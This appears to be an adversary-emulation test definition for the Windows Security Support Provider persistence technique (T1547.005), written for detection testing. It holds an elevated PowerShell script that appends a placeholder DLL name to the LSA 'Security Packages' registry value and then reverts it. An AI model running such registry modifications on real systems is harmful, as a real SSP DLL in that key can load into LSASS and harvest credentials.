attack_technique: T1547.005
display_name: 'Boot or Logon Autostart Execution: Security Support Provider'
atomic_tests:
- name: Modify SSP configuration in registry
  auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e
  description: Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.
  supported_platforms:
  - windows
  input_arguments:
    fake_ssp_dll:
      description: Value added to registry key. Normally refers to a DLL name in C:\Windows\System32.
      type: String
      default: not-a-ssp
  executor:
    command: |
      # run these in sequence
      $SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'
      $SecurityPackagesUpdated = $SecurityPackages
      $SecurityPackagesUpdated += "#{fake_ssp_dll}"
      Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated

      # revert (before reboot)
      Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
    name: powershell
    elevation_required: true